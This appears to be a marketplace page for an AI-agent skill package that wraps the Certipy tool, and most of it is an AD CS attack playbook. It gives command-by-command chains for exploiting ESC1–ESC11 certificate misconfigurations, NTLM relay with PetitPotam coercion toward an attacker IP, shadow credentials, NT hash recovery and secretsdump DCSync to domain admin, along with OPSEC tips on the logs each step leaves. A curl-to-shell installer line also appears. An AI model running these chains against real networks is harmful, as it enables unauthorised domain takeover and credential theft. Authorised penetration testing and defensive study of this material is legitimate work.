certipy
Auth/lab ref: Python-based AD Certificate Services testing tool.
v2026.11.13-21cd5683 installs+3 in 7 days39 StarsMITsynced 11 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/certipyWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package6fa5e4b0…12df2e02
6fa5e4b0461b…661112df2e022 files · 8.1 KBScanLow1 finding
- Links to outside domains
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/certipy@21cd568
On this page
Python ADCS attack toolkit — enumerate templates, exploit ESC misconfigs, shadow credentials, PKINIT auth.
Installation
pipx install certipy-ad
# or
pip install certipy-adAuthentication Syntax
# Password
certipy COMMAND -u user@DOMAIN -p password -dc-ip DC_IP
# Hash (PTH)
certipy COMMAND -u user@DOMAIN -hashes :NTHASH -dc-ip DC_IP
# Kerberos ccache
certipy COMMAND -u user@DOMAIN -k -dc-ip DC_IP1. Enumeration
find — discover ADCS attack surface
# Full enumeration — save to JSON+txt
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -stdout
# Save results for offline review
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -output certipy_results
# Show only vulnerable templates
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable -stdout
# Include enabled templates only
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -enabled -stdoutOutput fields to inspect:
[!] Vulnerabilities→ ESC flags detectedEnrollment Rights→ who can enroll (domain users = broad attack surface)Extended Key Usage→ if empty or "Any Purpose" = very dangerousEnrollee Supplies Subject→ if True = ESC1 candidateCA Name→ target for request
2. ESC Attack Chains
ESC1 — Enrollee Supplies Subject Alternative Name
Template allows requester to set arbitrary SAN. Request cert as any user including DA.
# 1. Identify ESC1 template
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout | grep -A5 "ESC1"
# 2. Request cert for administrator via SAN
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
# 3. Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -domain DOMAIN -username administrator -dc-ip DC
# 4. PTH with recovered hash
secretsdump.py -hashes :NTHASH DOMAIN/administrator@DCFull one-liner chain:
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "UserTemplate" -upn administrator@DOMAIN -dc-ip DC && \
certipy auth -pfx administrator.pfx -dc-ip DCESC2 — Any Purpose or No EKU
Template has Any Purpose EKU or no EKU at all — can be used like ESC1 (SubjectAltName allowed when requesting as agent).
# Same workflow as ESC1 — request with -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DCESC3 — Certificate Request Agent
Two-step: request enrollment agent cert, then use it to enroll on behalf of another user.
# Step 1 — get enrollment agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Enrollment Agent Template" -dc-ip DC
# Step 2 — enroll on behalf of administrator using agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Target Template" \
-on-behalf-of DOMAIN\\administrator -pfx agent.pfx -dc-ip DC
# Step 3 — auth
certipy auth -pfx administrator.pfx -dc-ip DCESC4 — Vulnerable Template ACL (WriteProperty/WriteDacl)
Attacker can modify template properties to introduce ESC1 vulnerability.
# 1. Save original template config
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -save-old -dc-ip DC
# 2. Modify template to enable SAN (makes it ESC1)
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.json -dc-ip DC
# 3. Now exploit as ESC1
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
# 4. Restore template after exploit
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.old.json -dc-ip DCESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA
CA has flag set that allows SAN in ALL requests regardless of template settings.
# Request SAN identities; strong-enforcement requirements are described below
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template User -upn administrator@DOMAIN -sid S-1-5-21-...-500 -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DCOn a KDC enforcing strong mapping, ESC6 alone is insufficient: the target SID in the SAN URL must be used with the normal SID security extension absent (ESC9 or ESC16). A UPN-only SAN works only where the target KDC still accepts weak mappings. See KB5014754 and Certipy's ESC6/ESC9 guidance.
ESC7 — Vulnerable CA ACL (ManageCertificates / ManageCA)
Attacker has Manage CA or Manage Certificates on the CA itself.
# Option A — ManageCA: enable ESC6 on CA then exploit
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC # if this flag/path is unsupported, use the COM API (see certificate-abuse.md ESC7)
# Now ESC6 workflow works
# Option B — ManageCertificates: issue pending/failed cert requests
# 1. Request cert (it will fail without ManageCA)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template SubCA -dc-ip DC
# 2. Issue the denied request (get request ID from step 1 output)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -issue-request REQUEST_ID -dc-ip DC
# 3. Retrieve issued cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -retrieve REQUEST_ID -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DCESC7
-issue-requestreturningInsufficient permissions: officer rights load only after a CertSvc restart, and the issuer needsCertificate Service DCOM Accesstoo. A gMSA CA-admin cansc.exe stop/start certsvceven without local admin. Full flow + COM-API ESC6/ESC16:certificate-abuse.md.
certipy auth → Object SID mismatch between certificate and user. This is Certipy's local
preflight, not evidence that the KDC will accept the certificate. Another PKINIT client may bypass
that preflight but cannot bypass KDC strong-mapping enforcement. ESC16 alone does not disable KDC
enforcement; for the documented enforced-mode chain, Certipy requires ESC6 SAN control plus ESC9 or
ESC16 to omit the SID extension and supply the target SID in a SAN URL. See Microsoft KB5014754
and the Certipy ESC9 guide.
certipy account update -upnneeds write on the target'suserPrincipalName; a self-write ACE does not always cover it (doesn't have permission to update these attributes) — confirm withbloodyAD get writablefirst.
ESC8 — NTLM Relay to AD CS HTTP Enrollment Endpoint
Relay NTLM auth of machine account or user to the ADCS HTTP Web Enrollment endpoint — get cert for that account.
# 1. Start certipy relay listener
certipy relay -ca CA_IP -template DomainController -dc-ip DC_IP
# 2. Coerce target machine to authenticate (Coercer, PetitPotam, PrinterBug)
coercer.py -t TARGET_DC -l ATTACKER_IP
# or
python3 PetitPotam.py ATTACKER_IP TARGET_DC
# 3. Certipy auto-retrieves cert and converts to pfx
# 4. Auth with cert → get NT hash of DC machine account
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 5. DCSync using DC machine hash
secretsdump.py -hashes :DC_NTHASH DOMAIN/DC$@DC_IPESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)
Template omits the SID security extension. The UPN-only flow below is PKINIT and works only if the target KDC still accepts weak mappings (for example, an unpatched KDC or one still honoring Compatibility mode); the ESC9 flag alone does not prove exploitability. KB5014754 says unconfigured DCs moved to Enforcement with the February 2025 update and StrongCertificateBindingEnforcement is unsupported after the September 9, 2025 update. Certipy documents a separate enforced-mode PKINIT chain using ESC6 SAN control plus ESC9/ESC16 to place the target SID in a SAN URL. Sources: KB5014754 and Certipy ESC9.
# Requires GenericWrite on a target account
# 1. Change target account UPN to administrator UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn administrator@DOMAIN -dc-ip DC
# 2. Request cert as targetuser (uses administrator UPN due to no security extension)
certipy req -u targetuser@DOMAIN -p targetpass -ca CA-NAME -template TEMPLATE_NAME -dc-ip DC
# 3. Restore original UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn targetuser@DOMAIN -dc-ip DC
# 4. Auth with cert — maps to administrator
certipy auth -pfx administrator.pfx -dc-ip DCESC10 — Weak Certificate Mapping (protocol-specific)
- KDC / PKINIT:
StrongCertificateBindingEnforcement=0is a legacy weak-mapping configuration, not a current general prerequisite. The setting is unsupported after the September 9, 2025 KB5014754 update; assess the target KDC's patch level and effective mode. - Schannel / TLS:
CertificateMappingMethodsis configured on the server handling client-certificate TLS (e.g. the DC for LDAPS). Bit0x04enables weak UPN mapping; Microsoft lists it as disabled by default and0x18as the current default. Certipy's Schannel/LDAPS path iscertipy auth -pfx <cert.pfx> -ldap-shell; plaincertipy authperforms PKINIT and does not test this mapping. Check the actual endpoint configuration and enrollment/UPN prerequisites. Sources: KB5014754 and Certipy ESC10.
ESC11 — NTLM Relay to ADCS RPC (ICertPassage)
Relay NTLM to ADCS RPC interface instead of HTTP — same goal as ESC8.
certipy relay -target rpc://CA_IP -ca CA-NAME -template DomainController
# Then coerce auth as in ESC83. Shadow Credentials
Abuse msDS-KeyCredentialLink — add a key credential to a user/computer, then auth via PKINIT without their password.
# 1. Add shadow credential to target account (requires GenericWrite/WriteProperty)
certipy shadow auto -u user@DOMAIN -p pass -account TARGETACCOUNT -dc-ip DC
# Output: saves .pfx and prints NT hash of target
# certipy auto handles: add key → auth → remove key (clean)
# Manual steps if needed
certipy shadow add -u user@DOMAIN -p pass -account TARGET -dc-ip DC
certipy auth -pfx TARGET.pfx -dc-ip DC
certipy shadow remove -u user@DOMAIN -p pass -account TARGET -device-id DEVICE_ID -dc-ip DCWhen useful:
- GenericWrite on user → get their NT hash without knowing password
- GenericWrite on computer → get machine account hash → RBCD or DCSync chain
4. Certificate Authentication (PKINIT)
Authenticate to KDC using a certificate. Retrieves TGT + NT hash via PKINIT U2U.
# Auth and get NT hash
certipy auth -pfx user.pfx -domain DOMAIN -username user -dc-ip DC
# PTH with recovered hash
secretsdump.py DOMAIN/user@DC -hashes :NTHASH
# Kerberos ccache output for tool use
certipy auth -pfx user.pfx -dc-ip DC
export KRB5CCNAME=user.ccache5. CA Management
# List CAs
certipy ca -u user@DOMAIN -p pass -dc-ip DC -list
# List enabled templates on CA
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -list-templates -dc-ip DC
# Enable template (requires ManageCA)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-template TEMPLATE_NAME -dc-ip DC
# Disable template
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -disable-template TEMPLATE_NAME -dc-ip DC
# Enable SAN flag (ESC6)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC6. Cert Conversion
# PEM to PFX
certipy cert -pfx cert.pem key.pem -export -out output.pfx
# PFX to PEM
certipy cert -pfx cert.pfx -export -pem
# PFX with password
certipy cert -pfx cert.pfx -password pfxpass -export -pem7. Common Full Attack Chains
Fast ESC1 chain (most common)
# Recon
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout
# Request as DA
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "VulnTemplate" -upn administrator@DOMAIN -dc-ip DC
# Auth → hash
certipy auth -pfx administrator.pfx -dc-ip DC
# Dump domain
secretsdump.py DOMAIN/administrator@DC -hashes :ADMIN_HASHESC8 relay chain (machine account → DA)
# Terminal 1 — relay
certipy relay -ca CA_IP -template DomainController -dc-ip DC
# Terminal 2 — coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP
# After relay: auth with DC cert
certipy auth -pfx dc.pfx -dc-ip DC
secretsdump.py -hashes :DC_HASH DOMAIN/DC$@DC_IPGenericWrite → shadow creds → DA
# BloodHound identifies GenericWrite on svc_account
certipy shadow auto -u user@DOMAIN -p pass -account svc_account -dc-ip DC
# If svc_account is admin, done
# If not: use NT hash to enumerate furtherOPSEC Notes
certipy findgenerates LDAP queries to enumerate CAs/templates — visible in LDAP logscertipy reqgenerates a certificate request event (4886) on the CA — loggedcertipy authPKINIT auth generates Kerberos TGT events (4768) with cert info- Shadow credentials: modifying
msDS-KeyCredentialLinkgenerates Event 5136 (object modified) - ESC8 relay: NTLM relay events on CA HTTP endpoint — monitor IIS logs on CA
- Prefer
-vulnerable -stdoutover full scan to minimize noise - Always restore template changes (ESC4) after exploitation
Resources
| File | When to load |
|---|---|
references/adcs-internals-and-detection.md |
Template field anatomy, ESC5/ESC10/ESC13 details, PKINIT U2U internals, cross-domain attacks, Rubeus integration, detection signatures |
Files in this version
references/19.5 KB
- adcs-internals-and-detection.md9.5 KB
- SKILL.md14.4 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | Yes | Yes |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | Nov 13, 2026 | 21cd568 | 6fa5e4b0 | Signed | – |
More from AeonDave
All from this publisherMore in Active Directory and Windows
See the category- offensive-windows-mitigationssnailsploit/offensive-windows-mitigations4
- active-directory-attack-pathssecurityskills/active-directory-attack-paths3
- analyzing-powershell-script-block-loggingmukul975/analyzing-powershell-script-block-logging3
- offensive-windows-boundariessnailsploit/offensive-windows-boundaries3
- evil-winrmaeondave/evil-winrm3
- bloodyadaeondave/bloodyad3
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login